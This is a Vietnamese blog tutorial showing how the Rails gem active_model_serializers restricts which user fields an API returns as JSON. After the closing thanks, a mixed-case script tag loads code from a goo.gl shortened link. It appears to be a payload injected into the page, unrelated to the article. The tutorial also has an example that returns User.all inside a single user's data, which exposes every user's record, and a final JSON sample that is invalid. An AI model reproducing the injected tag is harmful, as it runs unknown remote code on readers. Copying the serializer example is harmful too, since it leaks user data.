Hướng dẫn sử dụng gem active_model_serializers trong việc quy định dữ liệu trả về trong json
Bài đăng này đã không được cập nhật trong 8 năm
Trong hệ thông client và server, chúng ta đã khá quen thuộc về cấu trúc dữ liệu json. Và khi 1 request của client gửi tới server lấy thông tin, có nhưng thông tin ta muốn giấu thì phải làm thế nào?
Gem active_model_serializers sẽ giúp chúng ta làm điều đó
Đầu tiên hãy thử với ví dụ sau:
render json: {message: "", data: {user: @user}, code: 1}, status: 200
Đoạn code trên sẽ trả về toàn bộ thông tin của user, và thông tin và chúng ta hãy xem thông tin của user:
{
"message": "",
"data": {
"user": {
"status": "actived",
"id": 10,
"authentication_token": "HxKuyKEsjN2pjm6FsVzh",
"name": "Nguyen Van B",
"email": "nguye.van.b@framgia.com",
"address": null,
"current_location": "Handico Tower, Phạm Hùng, Mễ Trì Hạ, Mễ Trì, Từ Liêm, Hà Nội, Vietnam",
"latitude": 21.0166519,
"longitude": 105.7818388,
"phone_number": "+841234567891",
"plate_number": null,
"role": "shop",
"rate": 1.5,
"pin": null,
"signed_in": true,
"created_at": "2016-08-25T11:02:20.000Z",
"updated_at": "2016-08-27T14:25:44.000Z"
}
},
"code": 1
}
Có rất nhiều thông tin không cần thiết cũng như cần bảo mật.
Và bây giờ chúng ta sẽ lọc những thông tin cần trả về
B1: Thêm gem 'active_model_serializers' và bundle
B2: rails g serializer user ( Ở đây là với user, chúng ta có thể làm với các đối tượng tùy ý khác )
B3: Trong mục app/serializers/user_serializers.rb
class UserSerializer < ActiveModel::Serializer
attributes :id, :name, :email, :address, :phone_number
end
Ở phần attributes thêm những trường dữ liệu cần trả về
Ngoài ra có thể chèn thêm dữ liệu không phải là trường của user
Ví dụ:
class UserSerializer < ActiveModel::Serializer
attributes :id, :name, :email, :address, :phone_number, :users
def users
User.all
end
end
B4: Thiết lập trả về
@user = ActiveModelSerializers::SerializableResource.new(@user, option={})
render json: {message: "", data: {user: @user.as_json}, code: 1}, status: 200
Kết quả trả về sẽ là :
{
"message": "",
"data": {
"user": {
"id": 10,
"name": "Nguyen Van B",
"email": "nguye.van.b@framgia.com",
"address": null,
"phone_number": "+841234567891",
}
},
"code": 1
}
Như vậy chúng ta đã loại bỏ được các trường dữ liệu cần thiết rồi
Cảm ơn các bạn đã quan tâm theo dõi
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved